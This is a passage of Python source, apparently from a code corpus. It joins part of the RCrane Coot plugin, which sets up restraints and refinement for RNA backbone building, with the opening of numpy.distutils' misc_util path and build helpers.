HARMONIC_STD_DEV_PHOSPHATE])) + "\n") #restrain atoms from the current residue base + C1' for curAtom in pseudoMol.getAtomNames(curResNum, strip=False): if curAtom.strip() not in CUR_RES_MOBILE_ATOMS: #fixList.append([chain, resNum, "", curAtom, ""]) add_extra_start_pos_restraint(molNum, chain, curResNum , curResInsCode, curAtom, "", HARMONIC_STD_DEV_BASE) #debugOut.write(",".join(map(str, [molNum, chain, curResNum , curResInsCode, curAtom, "", HARMONIC_STD_DEV_BASE])) + "\n") #fix atoms from the next residue if nextResNum is not None: for curAtom in pseudoMol.getAtomNames(nextResNum, strip=False): if curAtom.strip() not in NEXT_RES_MOBILE_ATOMS: fixList.append([chain, nextResNum, nextResInsCode, curAtom, ""]) #debugOut.write(",".join(map(str, [chain, nextResNum, nextResInsCode, curAtom, ""])) + "\n") mark_multiple_atoms_as_fixed(molNum, fixList, 1) #debugOut.close() def __setTorsionRestraints(molNum, chain, prevResNumFull, curResNumFull, nextResNumFull, curRot, nextRot, curResType, nextResAlreadyBuilt = False): """Set the appropriate torsional restraints for the minimization ARGUMENTS: molNum - the Coot molecule number chain - the chain name prevResNumFull - the residue number of the previous residue including insertion codes curResNumFull - the residue number to build including insertion codes nextResNumFull - the residue number of the next residue including insertion codes curRot - the rotamer to use when building the current residue nextRot - the rotamer to use when building the next residue curResType - the residue type (i.e. A, G, C, or U) of the current residue OPTIONAL ARGUMENTS: nextResAlreadyBuilt - should be True if the next residue is already built (i.e. if we are being called from recalcCoords instead of calcCoords) Defaults to False. RETURNS: None """ (prevResNum, prevResInsCode) = __splitResNum(prevResNumFull) (curResNum, curResInsCode) = __splitResNum(curResNumFull) (nextResNum, nextResInsCode) = __splitResNum(nextResNumFull) if curRot is not None: #print "Adding custom torsional restraints for residue", curResNum, "currot %s" % curRot if isinstance(curRot, str): prevDelta = rotData.prevDeltaMean(curRot) ep = rotData.epMean (curRot) zeta = rotData.zetaMean (curRot) alpha = rotData.alphaMean(curRot) beta = rotData.betaMean (curRot) gamma = rotData.gammaMean(curRot) prevDeltaSD = rotData.prevDeltaSD(curRot) * TORSION_STD_DEV_MOD epSD = rotData.epSD(curRot) * TORSION_STD_DEV_MOD zetaSD = rotData.zetaSD (curRot) * TORSION_STD_DEV_MOD alphaSD = rotData.alphaSD(curRot) * TORSION_STD_DEV_MOD betaSD = rotData.betaSD (curRot) * TORSION_STD_DEV_MOD gammaSD = rotData.gammaSD(curRot) * TORSION_STD_DEV_MOD else: prevDelta = curRot[0] ep = curRot[1] zeta = curRot[2] alpha = curRot[3] beta = curRot[4] gamma = curRot[5] prevDeltaSD = MANUAL_TORSION_STD_DEV epSD = MANUAL_TORSION_STD_DEV zetaSD = MANUAL_TORSION_STD_DEV alphaSD = MANUAL_TORSION_STD_DEV betaSD = MANUAL_TORSION_STD_DEV gammaSD = MANUAL_TORSION_STD_DEV #previous delta if prevDelta is not None: add_extra_torsion_restraint(molNum, chain, prevResNum, prevResInsCode, " C5'", "", chain, prevResNum, prevResInsCode, " C4'", "", chain, prevResNum, prevResInsCode, " C3'", "", chain, prevResNum, prevResInsCode, " O3'", "", prevDelta, prevDeltaSD, 1) #epsilon if ep is not None: add_extra_torsion_restraint(molNum, chain, prevResNum, prevResInsCode, " C4'", "", chain, prevResNum, prevResInsCode, " C3'", "", chain, prevResNum, prevResInsCode, " O3'", "", chain, curResNum, curResInsCode, " P ", "", ep, epSD, 1) #zeta if zeta is not None: add_extra_torsion_restraint(molNum, chain, prevResNum, prevResInsCode, " C3'", "", chain, prevResNum, prevResInsCode, " O3'", "", chain, curResNum, prevResInsCode, " P ", "", chain, curResNum, curResInsCode, " O5'", "", zeta, zetaSD, 1) #alpha if alpha is not None: add_extra_torsion_restraint(molNum, chain, curResNum, curResInsCode, " C5'", "", chain, curResNum, curResInsCode, " O5'", "", chain, curResNum, curResInsCode, " P ", "", chain, prevResNum, prevResInsCode, " O3'", "", alpha, alphaSD, 1) #beta if beta is not None: add_extra_torsion_restraint(molNum, chain, curResNum, curResInsCode, " P ", "", chain, curResNum, curResInsCode, " O5'", "", chain, curResNum, curResInsCode, " C5'", "", chain, curResNum, curResInsCode, " C4'", "", beta, betaSD, 1) #gamma if gamma is not None: add_extra_torsion_restraint(molNum, chain, curResNum , curResInsCode, " O5'", "", chain, curResNum , curResInsCode, " C5'", "", chain, curResNum , curResInsCode, " C4'", "", chain, curResNum , curResInsCode, " C3'", "", gamma, gammaSD, 1) #add constraints on delta and the ring torsions curPucker = None delta = None if isinstance(curRot, str): curPucker = puckerList[curRot][1] delta = rotData.curDeltaMean(curRot) deltaSD = rotData.curDeltaSD(curRot)*TORSION_STD_DEV_MOD elif isinstance(nextRot, str): curPucker = puckerList[nextRot][0] delta = rotData.prevDeltaMean(nextRot) deltaSD = rotData.prevDeltaSD(nextRot)*TORSION_STD_DEV_MOD if delta is not None: add_extra_torsion_restraint(molNum, chain, curResNum , curResInsCode, " C5'", "", chain, curResNum , curResInsCode, " C4'", "", chain, curResNum , curResInsCode, " C3'", "", chain, curResNum , curResInsCode, " O3'", "", delta, deltaSD, 1) if curPucker is not None: #print "adding ring constraints" if curPucker == 2: curNu0 = NU0_C2 curNu1 = NU1_C2 curNu4 = NU4_C2 else: curNu0 = NU0_C3 curNu1 = NU1_C3 curNu4 = NU4_C3 #current nu0 add_extra_torsion_restraint(molNum, chain, curResNum , curResInsCode, " C4'", "", chain, curResNum , curResInsCode, " O4'", "", chain, curResNum , curResInsCode, " C1'", "", chain, curResNum , curResInsCode, " C2'", "", curNu0, NU_STD_DEV, 1) #current nu1 add_extra_torsion_restraint(molNum, chain, curResNum , curResInsCode, " O4'", "", chain, curResNum , curResInsCode, " C1'", "", chain, curResNum , curResInsCode, " C2'", "", chain, curResNum , curResInsCode, " C3'", "", curNu1, NU_STD_DEV, 1) #current nu4 add_extra_torsion_restraint(molNum, chain, curResNum , curResInsCode, " C5'", "", chain, curResNum , curResInsCode, " C4'", "", chain, curResNum , curResInsCode, " O4'", "", chain, curResNum , curResInsCode, " C1'", "", curNu4, NU_STD_DEV, 1) #print "adding chi restraint" #redifine the chi restraints, since Coot uses a very strange default value #(Note that even though the base is fixed, this chi restraint can affect the sugar positioning) if curResType == "G" or curResType == "A": baseAtom1 = " N9 " baseAtom2 = " C4 " else: baseAtom1 = " N1 " baseAtom2 = " C2 " add_extra_torsion_restraint(molNum, chain, curResNum , curResInsCode, " O4'", "", chain, curResNum , curResInsCode, " C1'", "", chain, curResNum , curResInsCode, baseAtom1, "", chain, curResNum , curResInsCode, baseAtom2, "", CHI_MEAN, CHI_STD_DEV, 2) #Note that this torsion has a period of 2 (which means a period of 360/2=180 degrees) to account for anti and syn rotations if nextRot is not None: if isinstance(nextRot, str): ep = rotData.epMean(nextRot) epSD = rotData.epSD(nextRot) * TORSION_STD_DEV_MOD if nextResAlreadyBuilt: zeta = rotData.zetaMean(nextRot) alpha = rotData.alphaMean(nextRot) beta = rotData.betaMean(nextRot) gamma = rotData.gammaMean(nextRot) zetaSD = rotData.zetaSD(nextRot) * TORSION_STD_DEV_MOD alphaSD = rotData.alphaSD(nextRot) * TORSION_STD_DEV_MOD betaSD = rotData.betaSD(nextRot) * TORSION_STD_DEV_MOD gammaSD = rotData.gammaSD(nextRot) * TORSION_STD_DEV_MOD else: ep = nextRot[1] epSD = MANUAL_TORSION_STD_DEV if nextResAlreadyBuilt: zeta = nextRot[2] alpha = nextRot[3] beta = nextRot[4] gamma = nextRot[5] zetaSD = MANUAL_TORSION_STD_DEV alphaSD = MANUAL_TORSION_STD_DEV betaSD = MANUAL_TORSION_STD_DEV gammaSD = MANUAL_TORSION_STD_DEV #print "Adding custom torsional restraints for nextrot %s" % nextRot if ep is not None: add_extra_torsion_restraint(molNum, chain, curResNum , curResInsCode, " C4'", "", chain, curResNum , curResInsCode, " C3'", "", chain, curResNum , curResInsCode, " O3'", "", chain, nextResNum , nextResInsCode, " P ", "", ep, epSD, 1) if nextResAlreadyBuilt: #if we're rebuilding a section and about to meet up with the existing structure, we need more constraints #zeta if zeta is not None: #torsions can be None when we're rotamerizing and the last nucleotide is missing atoms add_extra_torsion_restraint(molNum, chain, curResNum , curResInsCode, " C3'", "", chain, curResNum , curResInsCode, " O3'", "", chain, nextResNum, nextResInsCode, " P ", "", chain, nextResNum, nextResInsCode, " O5'", "", zeta, zetaSD, 1) #alpha if alpha is not None: add_extra_torsion_restraint(molNum, chain, nextResNum, nextResInsCode, " C5'", "", chain, nextResNum, nextResInsCode, " O5'", "", chain, nextResNum, nextResInsCode, " P ", "", chain, curResNum , curResInsCode, " O3'", "", alpha, alphaSD, 1) #beta if beta is not None: add_extra_torsion_restraint(molNum, chain, nextResNum, nextResInsCode, " P ", "", chain, nextResNum, nextResInsCode, " O5'", "", chain, nextResNum, nextResInsCode, " C5'", "", chain, nextResNum, nextResInsCode, " C4'", "", beta, betaSD, 1) #gamma if gamma is not None: add_extra_torsion_restraint(molNum, chain, nextResNum, nextResInsCode, " O5'", "", chain, nextResNum, nextResInsCode, " C5'", "", chain, nextResNum, nextResInsCode, " C4'", "", chain, nextResNum, nextResInsCode, " C3'", "", gamma, gammaSD, 1) def __runRefinement(molNum, chain, startingResNumFull, endingResNumFull, ignoreDensity = False): """Run the minimization using Coot's built-in refinement functions ARGUMENTS: molNum - the Coot molecule number chain - the chain name startingResNumFull - the residue number (including insertion code) of the first nucleotide to refine endingResNumFull - the residue number (including insertion code) of the last nucleotide to refine OPTIONAL ARGUMENTS: ignoreDensity - ignore the density when performing the minimization defaults to False RETURNS: the refinement score """ print "*************************" print "About to refine residues", startingResNumFull, "-", endingResNumFull print "*************************" (startingResNum, startingResInsCode) = __splitResNum(startingResNumFull) (endingResNum, endingResInsCode) = __splitResNum(endingResNumFull) #refine_zone and refine_zone_with_score don't support insertion codes, so for now the insertion codes gets ignored #this will cause problems if trying to rotamerize a chain that uses insertion codes if ignoreDensity: refinementResults = regularize_zone_with_score(molNum, chain, startingResNum, endingResNum, "") else: #note that we need to use refine_zone_with_score, not refine_residues, since refine_residues assumes that things aren't bonded if they're more than three Angstroms apart refinementResults = refine_zone_with_score(molNum, chain, startingResNum, endingResNum, "") accept_regularizement() return __calcRefinementScore(refinementResults) def __clearResRestraints(molNum): """Clear the torsional restraints and fixed atoms that applied to the residues we were just minimizing ARGUMENTS: molNum - the Coot molecule number RETURNS: None """ clear_all_fixed_atoms(molNum) delete_all_extra_restraints(molNum) #a regex to separate a residue name and insertion code __splitResNumRE = re.compile("(-?\d+)([A-Za-z]?)$") def __splitResNum(resNumFull): """Split a residue number into number and insertion code ARGUMENTS: resNumFull - a residue number potentially contianing an insertion code RETURNS: resNum - the residue number without the insertion code (as an int) insCode - the insertion code """ if resNumFull is None: return (None, None) else: (resNum, insCode) = __splitResNumRE.match(str(resNumFull)).groups() resNum = int(resNum) #the Coot SWIG functions require an integer argument, so we do explicit cast here return (resNum, insCode) def __changeMonomerRestraints(): """Change the monomer restraints for RNA residues ARGUMENTS: None RETURNS: origRestraints - the original monomer restraints (so we can restore them later) """ origRestraints = {} for curNuc in ("A", "G", "C", "U"): origRestraints[curNuc] = monomer_restraints(curNuc) newRestraints = monomer_restraints(curNuc) #we need a new copy of the dictionary so we don't modify the originalRestraints dict #this next line is redundant with use_only_extra_torsion_restraints_for_torsions(1), but it certainly won't hurt anything #use_only_extra_torsion_restraints_for_torsions(1) also has the advantage of turning off the link torsion restraints #(i.e. restraints that span two nucleotides), but the link torsion restraints don't seem to be used during minimization #regardless newRestraints['_chem_comp_tor'] = [] #we don't need any of the existing restraints since we're rewriting all of the named restraints #and the CONST restraints are redundant with the planar restraints (and seem to be ignored by Coot anyway) #make the plane restraints tighter (change standard deviation from 0.020 to 0.001) #since we really don't want non-planar bases (they can be a pain to fix later) for curPlane in newRestraints['_chem_comp_plane_atom']: curPlane[2] = 0.001 #if we're going to be using Phenix's restraints, then remove the default backbone bond and angle restraints if USE_PHENIX_RESTRAINTS == True: newRestraints['_chem_comp_angle'] = [curAngle for curAngle in newRestraints['_chem_comp_angle'] if not(curAngle[0].strip() in PHENIX_NEW_RESTRAINT_ATOMS and curAngle[1].strip() in PHENIX_NEW_RESTRAINT_ATOMS and curAngle[2].strip() in PHENIX_NEW_RESTRAINT_ATOMS)] #add the Phenix restraints that aren't pucker specific newRestraints['_chem_comp_angle'].extend([[" C2'", " C3'", " C4'", 102.6, 1.0], [" C5'", " O5'", " P ", 120.9, 1.0], [" O5'", " P ", " OP1", 110.7, 1.000], [" OP1", " P ", " OP2", 119.6, 1.000], [" O5'", " P ", " OP2", 110.7, 1.000]]) newRestraints['_chem_comp_bond'] = [curBond for curBond in newRestraints['_chem_comp_bond'] if not (curBond[0].strip() in PHENIX_NEW_RESTRAINT_ATOMS and curBond[1].strip() in PHENIX_NEW_RESTRAINT_ATOMS)] #add in the bond restraints that aren't pucker specific newRestraints['_chem_comp_bond'].extend([[" P ", " O5'", 'single', 1.593, 0.015], [" P ", " OP1", 'deloc', 1.485, 0.020], [" P ", " OP2", 'deloc', 1.485, 0.020]]) #remove the polymer type so that we can replace the link restraints (restraints that span two nucleotides) #there's no way to set proper link restraints, so all link restraints are set as extra restraints in phenixRestraints.py newRestraints['_chem_comp'][3] = "" #previously, this value was "RNA" set_monomer_restraints(curNuc, newRestraints) return origRestraints def __changeCootSettings(): """Change Coot's minimization settings ARUGMENTS: None RETURNS: these values are returned so the minimization settings can be restored later origImmediateReplaceValue - the original refinement_immediate_replacement_state() value origRefineWithTorsionsValue - the original refine_with_torsion_restraints_state() origWeightValue - the original matrix_state() value origMonomerRestraints - the original monomer restraints (i.e. torsion restraints) origUseOnlyExtraTorsionValue - the original settings for use_only_extra_torsion_restraints_for_torsions """ #we're going to have to change some Coot settings during the coordinate calculation #so check what the existing values are so we can set them back origImmediateReplaceValue = refinement_immediate_replacement_state() #don't ask the user to accept the refinement origRefineWithTorsionsValue = refine_with_torsion_restraints_state() #whether or not we use torsional contraints origWeightValue = matrix_state() #how much weight is placed on geometry vs. map constraints #origNumStepsPerFrameValue = refinement_refine_per_frame_state() #how many steps of refinement occurr in between updating graphics origUseOnlyExtraTorsionValue = use_only_extra_torsion_restraints_for_torsions_state() #should we ignore the standard torsion restraints and only use the user-defined ones #set the values that we want set_refinement_immediate_replacement(1) set_refine_with_torsion_restraints(1) set_matrix(REFINE_MAP_WEIGHT) #dragged_refinement_steps_per_frame() #in theory, a large value here should cause Coot to not update the graphics as it refines (which should speed up refinement) #but Coot doesn't seem to like it when this value is too high #and Windows thinks that Coot has frozen if it takes too long #so we just leave this at the default #set_use_only_extra_torsion_restraints_for_torsions(1) set_use_only_extra_torsion_restraints_for_torsions(0) #this function seems to entirely disable torsion restraints, which is the opposite of what it's supposed to do #as a result, we make sure it's turned off rather than making sure it's turned on #I should probably fix this function/flag in Coot #remove all built-in torsional restraints from RNA nucleotides origMonomerRestraints = __changeMonomerRestraints() return (origImmediateReplaceValue, origRefineWithTorsionsValue, origWeightValue, origMonomerRestraints, origUseOnlyExtraTorsionValue) def __restoreCootSettings(origCootSettings): """Restore Coot's minimization settings ARGUMENTS: origCootSettings - Coot settings to be restored (as returned by __changeCootSettings) RETURNS: None """ (origImmediateReplaceValue, origRefineWithTorsionsValue, origWeightValue, origMonomerRestraints, origUseOnlyExtraTorsionValue) = origCootSettings set_refinement_immediate_replacement(origImmediateReplaceValue) set_refine_with_torsion_restraints(origRefineWithTorsionsValue) set_matrix(origWeightValue) set_use_only_extra_torsion_restraints_for_torsions(origUseOnlyExtraTorsionValue) for curNuc in ("A", "G", "C", "U"): set_monomer_restraints(curNuc, origMonomerRestraints[curNuc]) def __calcRefinementScore(refinementResults): """Calculate an overall score for the quality of the refinement results ARGUMENTS: refinementResults - the output of refine_residues() RETURNS: overallScore - an overall refinement score based on the bond length, angles, and torsions """ #from pprint import pprint; pprint(refinementResults) scoreList = refinementResults[2] if not scoreList: #if there is no scorelist, then Coot gave up on the minimization #(Modifying Coot to return a score when the minimization times out is do-able, but it would slightly slow #down all minimizations unless more significant changes to the minimizer code are made. Typically, if we've #timed out, then something has gone wrong anyway, so simply using REFINEMENT_FAIL_SCORE is a workable solution.) return REFINEMENT_FAIL_SCORE overallScore = 0 for curScore in scoreList: if curScore[0] in ["Bonds", "Angles", "Torsions"]: #TODO: add in start_pos scores? overallScore += curScore[2] return overallScore def __addPhenixRestraints(molNum, chain, prevPrevResNumFull, prevResNumFull, curResNumFull, nextResNumFull, curRot, nextRot, curResType, nextResAlreadyBuilt = False, onlyPucker = None): """Add angle and bond restraints for the specified nucleotides using the Phenix pucker-specific restraint values ARGUMENTS molNum - the Coot molecule number chain - the chain name prevPrevResNumFull - the residue number of residue i-2 (needed to restrain the non-bridging oxygens of residue prevResNum) prevResNumFull - the residue number of the previous residue using Coot numbering (i.e. starting at 1, not 0) curResNumFull - the residue number to build using Coot numbering (i.e. starting at 1, not 0) nextResNumFull - the residue number of the next residue using Coot numbering (i.e. starting at 1, not 0) curRot - the rotamer to use when building the current residue nextRot - the rotamer to use when building the next residue curResType - the residue type (i.e. A, G, C, or U) of the current residue OPTIONAL ARGUMENTS: nextResAlreadyBuilt - should be True if the next residue is already built (i.e. if we are being called from recalcCoords instead of calcCoords) Defaults to False. onlyPucker - should only be provided if curRot and nextRot are None. This is used when we're only building a single nucleotide, so we don't have a full suite and therefore can't predict a conformer RETURNS: None """ if curResType == "A" or curResType == "G": glycosidicBaseAtom = " N9 " else: glycosidicBaseAtom = " N1 " #figure out the sugar puckers prevPucker = None curPucker = None nextPucker = None if isinstance(curRot, basestring): #basestring includes unicode and non-unicode strings. It's overkill here, but it can't hurt: (prevPucker, curPucker) = puckerList[curRot] elif isinstance(curRot, list): #if curRot is a list, then it's not really a rotamer, it's just a list of the current torsion values #in this case, we can use delta to figure out the appropriate pucker if curRot[0] < 114.5: prevPucker = 3 else: prevPucker = 2 if not isinstance(nextRot, basestring): #if nextRot is a real rotamer, then don't bother with delta-based guesses if curRot[6] < 114.5: curPucker = 3 else: curPucker = 2 if isinstance(nextRot, basestring): #basestring includes unicode and non-unicode strings. It's overkill here, but it can't hurt #if nextRot is a rotamer (curPucker, nextPucker) = puckerList[nextRot] elif isinstance(nextRot, list): #if nextRot is a list, then it's not really a rotamer, it's just a list of the current torsion values #in this case, we can use delta to figure out the appropriate pucker if curPucker is None: #if we had a real rotamer for curRot, then don't overwrite it with our delta-based guess if nextRot[0] < 114.5: curPucker = 3 else: curPucker = 2 if nextRot[6] < 114.5: nextPucker = 3 else: nextPucker = 2 #curPucker may get set twice here, but that doesn't matter, since curRot and nextRot *must* agree on their overlapping pucker #if we don't have any conformers, then set curPucker to onlyPucker if onlyPucker is not None and curPucker is None: curPucker = onlyPucker #split the residue numbers (prevPrevResNum, prevPrevResInsCode) = __splitResNum(prevPrevResNumFull) (prevResNum, prevResInsCode) = __splitResNum(prevResNumFull) (curResNum, curResInsCode) = __splitResNum(curResNumFull) (nextResNum, nextResInsCode) = __splitResNum(nextResNumFull) #figure out the number of the residue before prevResNum phenixRestraints.setAngleRestraints(molNum, chain, prevPrevResNum, prevResNum, curResNum, nextResNum, glycosidicBaseAtom, prevPucker, curPucker, nextPucker, nextResAlreadyBuilt) phenixRestraints.setBondRestraints(molNum, chain, prevResNum, curResNum, nextResNum, glycosidicBaseAtom, prevPucker, curPucker, nextPucker, nextResAlreadyBuilt) def enablePhenixRestraints(): """Enable Phenix's pucker-specific restraints for minimization ARGUMENTS: None RETURNS: True if enabling the restraints succceeded, False otherwise NOTE: Phenix restraints are only available in versions of Coot newer than 3926 """ global USE_PHENIX_RESTRAINTS if svn_revision() >= 3926: #Coot revision 3926 has a bug fix to fix non-bonded constraints when using extra bond and angle restraints USE_PHENIX_RESTRAINTS = True print "Using Phenix restraints" return True else: print "Coot must be newer than 0.7-pre r3926 to use Phenix restraints. Using Coot/CCP4 restraints." return False def disablePhenixRestraints(): """Disable Phenix's pucker-specific restraints for minimization and use the Coot/CCP4 restraints instead ARGUMENTS: None RETURNS: True (for consistancy with enablePhenixRestraints()) """ global USE_PHENIX_RESTRAINTS USE_PHENIX_RESTRAINTS = False print "Using Coot/CCP4 restraints" return True def usingPhenixRestraints(): """Check if we are using Phenix's pucker-specific restraints for minimization ARGUMENTS: None RETURNS: True if we are using Phenix restraints False if we are using Coot/CCP4 restraints """ return USE_PHENIX_RESTRAINTS def __fixEntireResidue(molNum, chain, resNumFull, atomList): """Fix all atoms in a residue ARGUMENTS: molNum - the molecule number of the residue to fix chain - the chain of the residue to fix resNumFull - the residue number of the residue to fix including insertion code atomList - a list of all atoms in the specified residue RETURNS: None """ (resNum, insCode) = __splitResNum(resNumFull) fixList = [[chain, resNum, "", curAtom, ""] for curAtom in atomList] mark_multiple_atoms_as_fixed(molNum, fixList, 1) def buildOnlyPhosOxy(pseudoMol, resIndex, direction = 3): """Build the non-bridging oxygens onto a terminal nucleotide ARGUMENTS: resIndex - the index of the residue to build the phosphates onto OPTIONAL ARGUMENTS: direction - which side of the residue to add the phosphoryl oxygens to RETURNS: NONE """ #print "In buildOnlyPhosOxy with resIndex =", resIndex if direction == 3: chain = pseudoMol.createPartialChainObjectFromIndex(resIndex-1, resIndex) prevResAtoms = chain.nucleotides[0].atoms curResAtoms = chain.nucleotides[1].atoms else: chain = pseudoMol.createPartialChainObjectFromIndex(resIndex, resIndex) curResAtoms = chain.nucleotides[0].atoms prevResAtoms = None #from pprint import pprint #pprint(prevResAtoms) #pprint(curResAtoms) phosOxyCoords = buildInitOrTerminalPhosOxy(curResAtoms, prevResAtoms) pseudoMol.addPhosOxyFromIndex(resIndex, phosOxyCoords) class ProgressDialogObject: """A class for displaying a progress dialog while calculating/minimizing backbone coordinates""" def __init__(self, window, totalNum): """Initialize a ProgressDialogObject object ARGUMENTS: window - the window object to display the progress dialog in if None, a new window will be created totalNum - the total number of steps for the progress bar akin to the deprecated set_discrete_blocks functionality RETURNS: an initialized ProgressDialogObject object EFFECTS: If provided, the contents of window are replaced by a progress bar The contents of window can later be restored using restoreWindow() """ self.__window = window self.__oldWindowSize = None self.__oldWindowContents = None self.__progressFracIncrement = None self.__curProgressFrac = 0 self.__curProgressInt = 0 self.__totalNum = totalNum self.__progressbar = None if self.__window is not None: windowChild = self.__window.get_child() if windowChild is not None: self.__oldWindowSize = window.get_size() self.__oldWindowContents = windowChild self.__window.remove(windowChild) else: self.__window = createRCraneWindowObject() self.__createProgressDialog() def __createProgressDialog(self): """Add the ProgressBar to self.__window ARGUMENTS: None RETURNS: None """ windowBox = gtk.VBox(False, VBOX_SPACING) self.__window.add(windowBox) self.__window.resize(1,1) #remove any size constraints calculatingLabel = gtk.Label("\n Calculating backbone coordinates... \n\n Please wait... \n") calculatingLabel.set_justify(gtk.JUSTIFY_CENTER) windowBox.pack_start(calculatingLabel, False, False, HBOX_SPACING) self.__progressbar = gtk.ProgressBar() self.__progressbar.set_text("Built 0 of " + str(self.__totalNum) + " nucleotides") progressAlign = gtk.Alignment(xscale=0.9, xalign=0.5) progressAlign.add(self.__progressbar) windowBox.pack_start(progressAlign, False, False, HBOX_SPACING) self.__window.show_all() self.__progressFracIncrement = 1.0 / (self.__totalNum) def progress(self, step = 1): """Increment the progress bar OPTIONAL ARGUMENTS: step - how many steps to increment the progress bar by, defaults to 1 RETURNS: None """ self.__curProgressFrac += (step * self.__progressFracIncrement) self.__curProgressInt += step #make sure __curProgressFrac isn't > 1 due to a rounding error if self.__curProgressFrac > 1: self.__curProgressFrac = 1 self.__progressbar.set_fraction(self.__curProgressFrac) self.__progressbar.set_text("Built " + str(self.__curProgressInt) + " of " + str(self.__totalNum) + " nucleotides") def restoreWindow(self): """Restore the original contents of the window and destroy the ProgressDialogObject object ARGUMENTS: None RETURNS: None EFFECTS: the original contents of the window are destroyed the ProgressDialogObject is set to None, since it is no longer useful """ windowChild = self.__window.get_child() self.__window.remove(windowChild) if self.__oldWindowContents is not None: self.__window.add(self.__oldWindowContents) #set the window back to the size it was before if self.__oldWindowSize is not None: self.__window.resize(*self.__oldWindowSize) #set the object to none, since it's useless now #but don't actually call a destructor self = None
codeparrot/github-code-clean
import os import re import sys import imp import copy import glob import atexit import tempfile import subprocess import shutil from distutils.errors import DistutilsError try: set except NameError: from sets import Set as set from numpy.distutils.compat import get_exception __all__ = ['Configuration', 'get_numpy_include_dirs', 'default_config_dict', 'dict_append', 'appendpath', 'generate_config_py', 'get_cmd', 'allpath', 'get_mathlibs', 'terminal_has_colors', 'red_text', 'green_text', 'yellow_text', 'blue_text', 'cyan_text', 'cyg2win32','mingw32','all_strings', 'has_f_sources', 'has_cxx_sources', 'filter_sources', 'get_dependencies', 'is_local_src_dir', 'get_ext_source_files', 'get_script_files', 'get_lib_source_files', 'get_data_files', 'dot_join', 'get_frame', 'minrelpath','njoin', 'is_sequence', 'is_string', 'as_list', 'gpaths', 'get_language', 'quote_args', 'get_build_architecture', 'get_info', 'get_pkg_info'] class InstallableLib: """ Container to hold information on an installable library. Parameters ---------- name : str Name of the installed library. build_info : dict Dictionary holding build information. target_dir : str Absolute path specifying where to install the library. See Also -------- Configuration.add_installed_library Notes ----- The three parameters are stored as attributes with the same names. """ def __init__(self, name, build_info, target_dir): self.name = name self.build_info = build_info self.target_dir = target_dir def quote_args(args): # don't used _nt_quote_args as it does not check if # args items already have quotes or not. args = list(args) for i in range(len(args)): a = args[i] if ' ' in a and a[0] not in '"\'': args[i] = '"%s"' % (a) return args def allpath(name): "Convert a /-separated pathname to one using the OS's path separator." splitted = name.split('/') return os.path.join(*splitted) def rel_path(path, parent_path): """Return path relative to parent_path. """ pd = os.path.abspath(parent_path) apath = os.path.abspath(path) if len(apath)<len(pd): return path if apath==pd: return '' if pd == apath[:len(pd)]: assert apath[len(pd)] in [os.sep],repr((path,apath[len(pd)])) path = apath[len(pd)+1:] return path def get_path_from_frame(frame, parent_path=None): """Return path of the module given a frame object from the call stack. Returned path is relative to parent_path when given, otherwise it is absolute path. """ # First, try to find if the file name is in the frame. try: caller_file = eval('__file__', frame.f_globals, frame.f_locals) d = os.path.dirname(os.path.abspath(caller_file)) except NameError: # __file__ is not defined, so let's try __name__. We try this second # because setuptools spoofs __name__ to be '__main__' even though # sys.modules['__main__'] might be something else, like easy_install(1). caller_name = eval('__name__', frame.f_globals, frame.f_locals) __import__(caller_name) mod = sys.modules[caller_name] if hasattr(mod, '__file__'): d = os.path.dirname(os.path.abspath(mod.__file__)) else: # we're probably running setup.py as execfile("setup.py") # (likely we're building an egg) d = os.path.abspath('.') # hmm, should we use sys.argv[0] like in __builtin__ case? if parent_path is not None: d = rel_path(d, parent_path) return d or '.' def njoin(*path): """Join two or more pathname components + - convert a /-separated pathname to one using the OS's path separator. - resolve `..` and `.` from path. Either passing n arguments as in njoin('a','b'), or a sequence of n names as in njoin(['a','b']) is handled, or a mixture of such arguments. """ paths = [] for p in path: if is_sequence(p): # njoin(['a', 'b'], 'c') paths.append(njoin(*p)) else: assert is_string(p) paths.append(p) path = paths if not path: # njoin() joined = '' else: # njoin('a', 'b') joined = os.path.join(*path) if os.path.sep != '/': joined = joined.replace('/',os.path.sep) return minrelpath(joined) def get_mathlibs(path=None): """Return the MATHLIB line from numpyconfig.h """ if path is not None: config_file = os.path.join(path,'_numpyconfig.h') else: # Look for the file in each of the numpy include directories. dirs = get_numpy_include_dirs() for path in dirs: fn = os.path.join(path,'_numpyconfig.h') if os.path.exists(fn): config_file = fn break else: raise DistutilsError('_numpyconfig.h not found in numpy include ' 'dirs %r' % (dirs,)) fid = open(config_file) mathlibs = [] s = '#define MATHLIB' for line in fid.readlines(): if line.startswith(s): value = line[len(s):].strip() if value: mathlibs.extend(value.split(',')) fid.close() return mathlibs def minrelpath(path): """Resolve `..` and '.' from path. """ if not is_string(path): return path if '.' not in path: return path l = path.split(os.sep) while l: try: i = l.index('.',1) except ValueError: break del l[i] j = 1 while l: try: i = l.index('..',j) except ValueError: break if l[i-1]=='..': j += 1 else: del l[i],l[i-1] j = 1 if not l: return '' return os.sep.join(l) def _fix_paths(paths,local_path,include_non_existing): assert is_sequence(paths), repr(type(paths)) new_paths = [] assert not is_string(paths),repr(paths) for n in paths: if is_string(n): if '*' in n or '?' in n: p = glob.glob(n) p2 = glob.glob(njoin(local_path,n)) if p2: new_paths.extend(p2) elif p: new_paths.extend(p) else: if include_non_existing: new_paths.append(n) print('could not resolve pattern in %r: %r' \ % (local_path,n)) else: n2 = njoin(local_path,n) if os.path.exists(n2): new_paths.append(n2) else: if os.path.exists(n): new_paths.append(n) elif include_non_existing: new_paths.append(n) if not os.path.exists(n): print('non-existing path in %r: %r' \ % (local_path,n)) elif is_sequence(n): new_paths.extend(_fix_paths(n,local_path,include_non_existing)) else: new_paths.append(n) return [minrelpath(p) for p in new_paths] def gpaths(paths, local_path='', include_non_existing=True): """Apply glob to paths and prepend local_path if needed. """ if is_string(paths): paths = (paths,) return _fix_paths(paths,local_path, include_non_existing) _temporary_directory = None def clean_up_temporary_directory(): from numpy.distutils import log global _temporary_directory if not _temporary_directory: return log.debug('removing %s', _temporary_directory) try: shutil.rmtree(_temporary_directory) except OSError: pass _temporary_directory = None def make_temp_file(suffix='', prefix='', text=True): global _temporary_directory if not _temporary_directory: _temporary_directory = tempfile.mkdtemp() atexit.register(clean_up_temporary_directory) fid, name = tempfile.mkstemp(suffix=suffix, prefix=prefix, dir=_temporary_directory, text=text) fo = os.fdopen(fid, 'w') return fo, name # Hooks for colored terminal output. # See also http://www.livinglogic.de/Python/ansistyle def terminal_has_colors(): if sys.platform=='cygwin' and 'USE_COLOR' not in os.environ: # Avoid importing curses that causes illegal operation # with a message: # PYTHON2 caused an invalid page fault in # module CYGNURSES7.DLL as 